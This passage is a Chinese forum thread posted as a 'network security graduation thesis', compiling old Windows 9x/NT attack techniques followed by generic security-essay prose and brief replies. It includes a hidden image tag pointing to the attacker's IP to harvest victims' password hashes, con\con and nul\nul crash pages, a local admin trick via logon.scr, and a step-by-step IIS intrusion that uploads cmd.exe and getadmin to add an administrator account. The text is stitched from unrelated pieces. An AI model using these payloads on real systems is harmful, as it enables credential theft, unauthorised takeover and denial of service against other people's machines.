4、禁止WINS客户捆绑,包括NetBIOS接口、服务器和工作站提供的服务。通过“nbstat -n”命令察看哪些服务注册了NetBIOS名字,将所有的这些服务禁止,这是很重要的。选择性地取消NetBIOS接口捆绑或其它一些特定的服务,这些服务使得服务器或工作站允许攻击者与NetBIOS名字进行对话并破坏NetBIOS缓存。
5、另外一个需要注意的重要方面是确保计算机浏览服务不依赖于浏览帧的处理和生成(至少在本漏
洞的范围之内要求是这样)。禁止计算机浏览服务对本漏洞没有影响。
Windows 分段IP包重组拒绝服务攻击漏洞
受影响的系统: Windows 95,Windows 98,Windows NT 4.0, Windows 2000
描述: 当以每秒发送150多个包的速率持续发送同样的分段IP包给Windows系统 (包括win95/98/NT/2 000),将导致受攻击主机的CPU占用率达到100%,网络 接口和服务中断。当攻击停止时,服务会恢复正常。
建议: 微软已经提供了针对这个问题的补丁程序,请根据系统从下列地址下载:
Windows 95: http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE .
Windows 98: http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE .
Windows NT 4.0 Server, Terminal Server Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830 .
Windows 2000 Professional, Server and Advanced Server: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827 .
------------------------------------------------------------------利用WINDOWS系统漏洞窃密一计
说说我发现的一个新漏洞的应用吧,我发现NT系统一样有,还有并不要等到出来密码提示时早就发出自己的密码了。WINDOWS系统访问用户权限的机器的时候把自己的用户名密码等发出去,这可以借助邮件、主页等主动窃取密码。 主页或者邮件里面来个
<img src="file:\\ip\dir\filename" BORDER="0" HEIGHT="0" WIDTH="0"> 那filename弄个没有的文件名,不看原文件谁也不知道有这么个东西。IP是自己的IP,再借助现成的LOCKDOWN可以很方便的知道收件人(对于邮件)的IP、机器名、用户名,如果编一下程序或者用NETXRAY还可以得到可爱的密码(加密的,但可以离线破解,别人一点不知道),对于个人系统如果是NT系统那有了用户名和密码一般的机器都是你自由控制了。
------------------------------------------------------------------Windows9x下可导致DDOS攻击的漏洞
Windows9x系列都支持VFAT("长文件名"文件系统),对VFAT来说,它最主要的功能是能存储长文件名。因为它是建立在普通的FAT下的,所以每个文件都可有“8+3”文件格式。但VFAT另外分配了路径区以支持长文件名。一些由CON 或 NUL 组成的路径调用,可能会导致FAT32/VFAT上程序的崩溃,最终的结果是系统崩溃。
源代码如下在HTML页面的图像标识符中隐藏一个指向[drive]:\con\con 或 [drive]:\nul\nul的图像路径。当查看该HTML页面时,会使Windows98崩溃(在MS outlook 和 Eudora pro 4.2中,Netscape Messenger 不受影响)
①<html><body>
<a href="c:\con\con">crashing IE</a>
<!-- or nul\nul, clock $ \clock$ →
<!-- or aux\aux, config $ \config$ →
</body>
</html>
②<html>
<body>
<img src="c:\con\con">
<!-- or nul\nul, clock $ \clock$ →
<!-- or au\aux, config $ \config$ →
</body>
</html>
需要说明的是,在Netscape浏览器中不存在这个问题,因为在调用此路径的时候,该路径串会更改为file:///d|/c:\nul\nul。上面的URL中输入c:\nul\nul时,如果不带file:///d|/,Netscape(和操作系统)会遭到此类的攻击。
③修改注册表使系统崩溃!!!
修改注册表[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open]的键值为: c:\con\con "% 1" % *或 c:\nul\nul "% 1" % *也会使系统崩溃!!!
④在WarFTP下的根路径下,使用 Get /con/con 或 Get /nul/nul,也可以使操作系统崩溃。其它的FTP服务程序还未经测试。此漏洞可远程使用。
------------------------------------------------------------------Administrastor真不安全
之一 :如果你有普通用户帐号,有个一个很简单的方法获取NT Administrator帐号:
先把c:\winnt\system32下的logon.scr改名为logon.old备份 然后把usrmgr.exe改名为logon.scr 然后重新启动 logon.scr是启动时加载的程序,重新启动后,不会出现以往的登陆密码输入界面,而是用户管 理器这时他就有权限把自己加到Administrator组,不要忘记把文件名改回来啊!
之二: 下面的技术适用于不重视NT网络安全的网站,一些 http的技术也可以供较高级的人员参考进 入NT网络可以采取下面的步骤: 因为NT的IIS server的ftp一般都是允许anonymous匿名帐号进入的,有些anonymous的帐号还 有upload权限,我们就要攻击这类站点。因为如果不允许匿名帐号,就可能造成明文密码在网上传输。用tcpspy的工具可以截获这些密码。现在不谈这些比较高级的技术。 正因为允许匿名帐号ftp登陆的设定,也给我们带来了突破NTserver的机会。我们用ftp登陆 一个NT server,比如:www.xxx.com(示例名):
ftp www.xxx.com
Connected to www.xxx.com
220 ntsvr2 Microsoft FTP Service (Version 3.0).
ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSER_ntsvr2的用户 帐号,属于Domain user组,这个帐号我们以后要用来获取Administrator的权限
User (www.xxx.com:(none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么 guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain guest组,在这种情况下我们 就可以进NT server的ftp了。 进去以后,看看目录列表,试试 cd /c 或wwwroot等关键目录,如果运气好,改变目录成功,这 时你就有了80%的把握。 现在,开始查找cgi-bin目录(或者scripts目录),进去以后, 把winnt下的cmd.execopy到cgi-bin,把把getadmin和gasys.dll传上去到cgi-bin然后输入:
http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_SATURN
大约十多秒后屏幕显示:
CGI Error
这时有90%的可能是:你已经把IUSER_ntsvr2升级为Administrator,也就是任何访问该web站里的人都是管理员,下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20china %20news%20/add 这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/cgi-bin/getadmin.exe?china 或者
http://www.xxx.com/scripts/tools/getadmin.exe?china
你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改如果没有cmd.exe,也可以自己传一个上去到scripts/tools或者cgi-bin目录
之三: 用NT的Netbios技术扫描 nbtstat -a http://www.xxx.com / 或者 nbtstat -A http://www.xxx.com / 这样可以得到其域的共享资源名称 net view file://www.xxx.com/ 可以获得其机器的共享资源名称,如果有c盘 net use f: file://www.xxx.com/c 可以用f:映射其c盘 net use \\111.111.111.111\ipc$ "" /user:""
之四: Unix下移植过来的工具: Windows95&98的用户可以用这个tcp/ip工具去抓tcp/ip连接中的包: WinDump95.exe 使用前还要下载这个库 Packet95.exe
WindowsNT用户的版本 WinDump.exe PacketNT.exe
------------------------------------------------------------------
回复

使用道具 举报

 楼主| 发表于 2001-6-11 19:42:15 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
Windows 9X 的 /con/con 设备名称解析漏洞
涉及程序:
Windows9x
描述:
Windows 9X 的 /con/con 设备名称解析漏洞允许用户远程攻击,导致windows98系统崩溃
详细:
请求访问系统上一些包含设备名的非法路径,这将导致windows9x崩溃。当windows解析这些路径时,内核的溢出导致整个系统出错。这时你只有重新启动系统才能恢复正常,没有其它的选择。发现有五个设备或设备驱动程序可以使系统崩溃。它们是:CON、NUL、AUX、CLOCK$、CONFIG$,其它的设备如 LPTx和COMx 则不行。
把这些组合起来形成一个路径,如: CON\NUL, NUL\CON, AUX\NUL,只要请求成功,windows系统将崩溃。
下面是在 IO.SYS 里面关于这些设备的定义:
DEVICE DRIVERS
--------------
These are specified in IO.SYS and date back from the early Ms Dos
days. Here is what I have found. Here is a brief list;
CLOCK$ - System clock
CON - Console; combination of keyboard and screen to
handle input and output
AUX or COM1 - First serial communicationport
NUL - Dummy port, or the "null device" which we all
know under Linux as /dev/null.
CONFIG$ - Unknown
只要能对这些路径进行请求,不管是远程,还是本地,都可以令系统崩溃,下面是几种方式:
(1)如果目标机器上存在共享,不管该共享资源有没有设置密码,都可以用这个办法使系统当机:
比如机器127.0.0.1上有一个名称为d的共享,则在"运行"中输入下面的命令可以使目标windows9x系统崩溃:
\\127.0.0.1\d\nul\nul
唯一的要求是兰色字的必须是正确的路径,否则无效
在网上有大量的windows95/98的机器,其打印机共享是打开的。这个共享是入侵windows95/98的入口,通常它对应 c:\windows\system
属于只读共享。
这种攻击方式对这类机器是很有效的:
\\127.0.0.1\printer$\nul\nul
(2) 制作包含下列HTML代码的一个网页,通过邮件方式(outlook)或者浏览器设法让攻击目标打开
<HTML>
<BODY>
<A HREF="c:\con\con">crashing IE</A>
<!-- or nul\nul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
</BODY>
</HTML>
(3) 如果攻击目标上安装了web server,如Microsoft Person web server,或者Frontpage Extention Server,用:
"Get /con/con" 或者 "Get nul/nul" 的请求,就可以远程当掉 windows 系统,比如:
http://xxx.xxx.xxx.xxx/nul/nul
如果目标上安装了FTP server,也可以使用上述 GET 命令来达到目的。
(4) 在注册表的:
Inserting HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\_ 项,用
c:\con\con "%1" %* or c:\nul\nul "%1" %* 的值,也可以使系统当机。这是宏病毒的一种常用攻击方式。
(5)下面的HTML代码也可以达到目的:
<HTML>
<BODY>
<IMG SRC="c:\con\con">
<!-- or nul\nul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
</BODY>
</HTML>
以上的情况只适用于IE浏览器。
下面列出一个利用这个溢出造成windows95/98/SE系统崩溃的程序,要求目标上安装有
web server flog.c
----------------------------------------------------------------
已经无须再多举例了,黑客在互联网上的您意妄为,已经为汹涌而来的互联网时代投下了一丝阴影。怎样有效地防范黑客,成为一个迫切需要解决的课题,然而,互联网开放的特性与软件本身所无法避免存在的缺陷,使得“防黑”与“反黑”的工作注定是一个长期的、不断的过程。在专家与系统管理员们忙于与黑客斗争的时候,我们普通的用户,也非常有必要构筑一道自己的“黑客防线”,本书涉及到的一切,将会成为您“黑客防线”的坚实基础。这本特刊的形成过程中,参考了大量网上的资料,也得到了许许多多同行的帮助与支持,从某种意义上来说,我们所做的只是一个整理的工作,读者在看过这本书后如果觉得有所收获,要感谢的应该是那些在网络安全第一线探索与研究的人们。这些主要是要我们认识系统的漏洞是必不可少的。
因此我们应该熟悉网络基础知识,因为一个真正的黑客绝对是一个网络高手,而一个网络管理员更应该对网络知识有着深刻的了解与认识。因此,无论是“黑”还是“防黑”,网络基础知识是必不可少的。在本章中还介绍了关于缓冲区溢出的一些基本知识。多年来缓冲区溢出漏洞一直是黑客们进攻的重要选择,许多缓冲区漏洞不断地被发现并被黑客利用,直到现在也没有一个有效的方法避免这一漏洞。鉴于缓冲区溢出在网络安全方面的重要性,有关缓冲区溢出的知识,也应该是防黑人员或是网络管理员们应该了解的基本知识之一。绝大多数的攻击都是待办于黑客工具实现的,其实,一些优秀黑客编写出来的黑客工具,使得人们成为“黑客”的门槛变得更低了。也许你听过这样的说法:只要稍具电脑知识的人,都可以利用黑客工具而成为“黑客”,这绝非是危言耸听,相对而言,目前我们的网络还是太脆弱了。了解这些黑客工具的原理与应用,对于构筑我们的“黑客防线”,是必不可少的一个步骤。除了口令破解和一些拒绝服务攻击外,黑客的攻击基本上都是针对系统存在的某些安全漏洞而进行的,因此了解与认识这些漏洞,对于保障网络安全非常重要。作为一名网络人员,是需要一定的技术深度的,虽然随着技术的发展,尝试使用更新更好的技术,但一些基本的技能应该是必须要掌握的,毫无疑问,编程是每一个网络人员所应该具备的最基本的技能。但是,黑客与程序员又是不同的,黑客往往掌握着许多种程序语言的精髓(或说是弱点与漏洞),并且黑客们都是以独立于任何程序语言之上的概括性观念来思考叫畅游设计上的问题。汇编语言、C语言都是黑客们应该掌握的。 黑客们培养这种能力的方法,也与常人有所不同,他们也看种种书鲁.樱更多的是读别人的源代码,这些源代码大多数是前辈黑客们的作品,同时他们也不停地自己写程序。Unix之所以如此受到黑客们的重视,并不仅仅因为它最初就是由黑客所编写,除了Unix外还有很多操作系统,但能得到源代码并任意修改的操作系统,只有Unix!更重要的是,Unix是用于网络的操作系统,互联网上有很多主机使用的操作至少在目前,互联网还不能没有Unix。因此,许多黑客同时也是一个Unix的专家,这个操作系统的整个运作过程与基理。除Unix操作系统外,黑客还必须熟知诸如Linux、windows、Novel等操作系统。才能让自己做网络人员如虎添翼!黑客们所创造出来的东西,在很多领域都在起着作用,但只有互联网,才是黑客的舞台,作为一名黑客,不懂得使用World Wide web与HTML是不可思议的,同时,若没有网络编程基础,要做黑客也是苍白无力的。
安全缺陷
如果网络信息系统本身没有任何安全缺陷,那么恶意攻击者即使再有天大的本事也不能对网络信息安全和保密构成威胁。但是,不幸的是现在所有的网络信息系统都不可避免地存在着这样或那样的安全缺陷。有些缺陷是可以通过人为努力加以避免或者改进,但有些安全缺陷则是各种折衷所必须付出的代价。
1: 普遍存在的安全缺陷
网络信息系统是计算机技术和通信技术的结合。计算机系统的安全缺陷和通信链路的安全缺陷构成了网络信息系统的潜在安全缺陷。计算机硬件资源易受自然灾害和人为破坏;软件资源和数据信息易受计算机病毒的侵扰,非授权用户的复制、篡改和毁坏。计算机硬件工作时的电磁辐射以及软硬件的自然失效、外界电磁干扰等均会影响计算机的正常工作。通信链路易受自然灾害和人为破坏。采用主动攻击和被动攻击可以窃听通信链路的信息并非法进入计算机网络获取有关敏感性重要信息。网络信息系统的安全缺陷通常包括物理网络的安全缺陷、过程网络的安全缺陷以及通信链路安全缺陷三种。一些普遍存在的安全缺陷、安全问题和安全脆弱性包括:
网络的规模:网络的规模越大,通信链路越长,则网络的脆弱性和安全问题也随之增加.网络用户数量的增加,网络的安全性威胁也随之增加。在大规模的网络信息系统中,由于终端分布的广泛性和地理位置的不同,网络分布在几百至上千公里的范围内,通常用有线信道(同轴电缆、架空明线或光缆等)和无线信道(卫星信道、微波干线等)来作为通信链路。对有线信道而言,分布式网络易受自然和人为破坏,非授权用户可以通过搭线窃听攻击侵入网内获得有关重要信息,甚至可以插入、删除信息。由于串音和电磁辐射,导致网络信噪比下降,误码率增加,信息的安全性、完整性和可用性受到威胁。无线信道的安全脆弱性更加显而易见,被动攻击几乎不可避免。
电磁辐射和电磁泄漏:计算机及其外围设备在进行信息处理时会产生电磁泄漏,即电磁辐射。电磁辐射分辐射发射和传导发射两种。当计算机设备在进行数据处理和传输时,各种高频脉冲通过各种电器元件和分布参数的耦合、调制、迭加成一个包含有用信息的频带信号,由电源线、电缆和电话线等通信链路传导出去造成信息泄漏。而当各种高频脉冲通过电路元件(电阻、电容、集成电路片等)传导时,又会向空中以电磁波的形式辐射信息,从而导致信息泄漏。在计算机中,以视屏显示器的辐射发射最为严重。由于计算机网络传输媒介的多样性和网内设备分布的广泛性,使得电磁辐射造成信息泄漏的问题变得十分严重。国外一些发达国家研制的设备能在一公里以外收集计算机站的电磁辐射信息,并且能区分不同计算机终端的信息。因此,电磁辐射已对网络信息的安全与保密构成严重威胁。
搭线:现行计算机网络的传输媒介主要是同轴电缆和现有电话线路等,这为搭线窃听提供了可能。搭线窃听的手段主要有两种:其一,利用磁记录设备或计算机终端从信道中截获有关计算机信息,然后对记录信息进行加工、综合、分析,提取有用信息;其二,搭线者不仅截获有关信息,而且试图更改、延迟被传送的信息,从而造成更大的威胁。例如,在具有现金分配能力的自动出纳机(ATM)中,前者可以使攻击者获得为冒充合法用户所必需的信息(个人识别符、PASSWORD等),而后者则可以使攻击者能够插入未经认可的报文以非法手段获取资金。
串音:在有线通信链路中(光纤除外),由于各种原因,当一个信道进行信息传送时,会在另一个或多个相邻信道感应出信号或噪声即串音。串音也可能由网络交换中心产生。串音不但使网络内的噪声增加,传输的信息发生畸变,而且会引起传导泄漏,对信息保密构成威胁。
2: 中国特色的安全缺陷
中国是一个发展中国家。我们的网络信息安全系统除了具有上述普遍存在的安全缺陷之外,还具有其它一些独具特色的安全缺陷。比如:由技术被动性引起的安全缺陷:首先,我们的芯片基本依赖于进口,即使是自己开发的芯片也需要到国外加工。只有当我国的半导体和微电子技术取得突破性进展之后,才能从根本摆脱这种受制于人的状态。其次,为了缩小与世界先进水平的差距,我国引进了不少外国设备,但这也同时带来了不可轻视的安全缺陷。比如,大部分引进设备都不转让知识产权,我们很难获得完整的技术档案。这就为今后的扩容、升级和维护带来了麻烦。更可怕的是,有些引进设备可能在出厂时就隐藏了恶意的“定时炸弹”或者“后门”。在非和平时期,这些预设的“机关”有可能对我们的网络信息安全与保密构成致使的打击。再者,新技术的引入也可能带来安全问题。攻击者可能用现有的技术去研究新技术发现新技术的脆弱点。引入新技术时,并不都有合适的安全特性。尤其是在安全问题还没有被认识,没有被解决之前,产品就进入市场,情况就更严重。当前,高新技术的发展十分迅速,有些安全措施没过多久就会变得过时,若没有及时发现有关的安全缺陷,就有可能形成严重的安全隐患。人员素质问题引起的安全缺陷:法律靠人去执行,管理靠人去实现,技术靠人去掌握。人是各个安全环节中最重要的因素。全面提高人员的道德品质和技术水平是网络信息安全与保密的最重要保证。当前,信息网络的规模在不断扩大,技术在不断更新,新业务在不断涌现,这就要求职工不断地学习,不断地提高其技术和业务水平。另外,思想品德的教育也是十分重要的,因为大部分安全事件都是由思想素质有问题的内部人员引起的。缺乏系统的安全标准所引起的安全缺陷:国际电联和国际标准化组织都在安全标准体系的制定方面作了大量的工作。我们也应该结合国内具体情况制定自己的标准,并逐渐形成系列,把我国的网络信息安全与保密提高到一个新水平。缺乏安全标准不但会造成管理上的混乱,而且也会使攻击者更容易得手。
如何实现网络安全
网络安全是一个涉及面很广的问题。要想达到安全与保密的目的,必须同时从法规政策、管理、技术这三个层次上采取有效措施。高层的安全功能为低层的安全功能提供保护。任何单一层次上的安全措施都不可能提供真正的全方位安全与保密。 因此应考虑从下面几个方面入手:先进的技术是网络安全与保密的根本保证。用户对自身面临的威胁进行风险评估,决定其所需要的安全服务种类,选择相应的安全机制,然后集成先进的安全技术,形成一个全方位的安全系统; 严格的安全管理。各用户单位应建立相应的网络安全管理办法,加强内部管理,建立合适的网络安全管理系统,建立安全审计和跟踪体系,提高整体网络安全意识; 国家和行业部门制订严格的法律、法规。计算机网络是一种新生事物。它的许多行为无法可依,无章可循,导致网络上计算机犯罪处于无序状态。面对日趋严重的网络犯罪,必须建立与网络安全相关的法律、法规,使非法分子慑于法律,不敢轻举妄动。
回复

使用道具 举报

发表于 2002-11-22 12:35:41 | 显示全部楼层

网 络 安 全 毕 业 论 文

毕 业 论 文?
回复

使用道具 举报

发表于 2002-11-22 12:36:35 | 显示全部楼层

网 络 安 全 毕 业 论 文

大哥,这种帖子你也翻?太。。。了吧。
回复

使用道具 举报

发表于 2002-11-22 12:40:32 | 显示全部楼层

网 络 安 全 毕 业 论 文

有用的东东
回复

使用道具 举报

发表于 2002-11-22 12:46:04 | 显示全部楼层

网 络 安 全 毕 业 论 文

晕,有什么用啊?
回复

使用道具 举报

发表于 2002-11-22 16:44:56 | 显示全部楼层

网 络 安 全 毕 业 论 文

不清楚
回复

使用道具 举报

发表于 2002-11-22 16:48:56 | 显示全部楼层

网 络 安 全 毕 业 论 文

大家都不看的东西就不用翻上来了。
回复

使用道具 举报

发表于 2002-11-22 16:49:56 | 显示全部楼层

网 络 安 全 毕 业 论 文

什么也得拿点来灌嘛
回复

使用道具 举报

发表于 2002-11-22 16:51:29 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由KickOut2002/11/22 04:48pm 发表的内容:
大家都不看的东西就不用翻上来了。
没人看?你刚才没见多了几人来看这贴。
回复

使用道具 举报

发表于 2002-11-22 16:52:57 | 显示全部楼层

网 络 安 全 毕 业 论 文

难道KICKOUT不是人?又回魂了
回复

使用道具 举报

发表于 2007-5-7 08:37:58 | 显示全部楼层
嘿嘿~~这正是我需要的。谢了!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1|闽公网安备35020302032614号 )

GMT+8, 2026-9-18 08:38

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表